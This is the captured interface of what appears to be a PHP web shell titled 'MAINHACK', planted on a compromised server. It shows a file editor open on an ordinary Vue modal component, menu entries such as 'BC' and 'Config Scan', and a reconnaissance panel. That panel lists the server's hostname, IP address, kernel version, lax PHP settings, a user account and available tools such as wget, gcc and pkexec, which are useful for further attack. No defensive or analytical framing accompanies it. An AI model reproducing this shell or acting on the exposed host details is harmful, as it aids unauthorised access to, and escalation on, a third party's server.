[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Modal.vue
<script setup> import { computed, onMounted, onUnmounted, ref, watch } from 'vue'; const props = defineProps({ show: { type: Boolean, default: false, }, maxWidth: { type: String, default: '2xl', }, closeable: { type: Boolean, default: true, }, }); const emit = defineEmits(['close']); const dialog = ref(); const showSlot = ref(props.show); watch(() => props.show, () => { if (props.show) { document.body.style.overflow = 'hidden'; showSlot.value = true; dialog.value?.showModal(); } else { document.body.style.overflow = null; setTimeout(() => { dialog.value?.close(); showSlot.value = false; }, 200); } }); const close = () => { if (props.closeable) { emit('close'); } }; const closeOnEscape = (e) => { if (e.key === 'Escape') { e.preventDefault(); if (props.show) { close(); } } }; onMounted(() => document.addEventListener('keydown', closeOnEscape)); onUnmounted(() => { document.removeEventListener('keydown', closeOnEscape); document.body.style.overflow = null; }); const maxWidthClass = computed(() => { return { 'sm': 'sm:max-w-sm', 'md': 'sm:max-w-md', 'lg': 'sm:max-w-lg', 'xl': 'sm:max-w-xl', '2xl': 'sm:max-w-2xl', }[props.maxWidth]; }); </script> <template> <dialog class="z-50 m-0 min-h-full min-w-full overflow-y-auto bg-transparent backdrop:bg-transparent" ref="dialog"> <div class="fixed inset-0 overflow-y-auto px-4 py-6 sm:px-0 z-50" scroll-region> <transition enter-active-class="ease-out duration-300" enter-from-class="opacity-0" enter-to-class="opacity-100" leave-active-class="ease-in duration-200" leave-from-class="opacity-100" leave-to-class="opacity-0" > <div v-show="show" class="fixed inset-0 transform transition-all" @click="close"> <div class="absolute inset-0 bg-gray-500 opacity-75" /> </div> </transition> <transition enter-active-class="ease-out duration-300" enter-from-class="opacity-0 translate-y-4 sm:translate-y-0 sm:scale-95" enter-to-class="opacity-100 translate-y-0 sm:scale-100" leave-active-class="ease-in duration-200" leave-from-class="opacity-100 translate-y-0 sm:scale-100" leave-to-class="opacity-0 translate-y-4 sm:translate-y-0 sm:scale-95" > <div v-show="show" class="mb-6 bg-white rounded-lg overflow-hidden shadow-xl transform transition-all sm:w-full sm:mx-auto" :class="maxWidthClass"> <slot v-if="showSlot"/> </div> </transition> </div> </dialog> </template>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002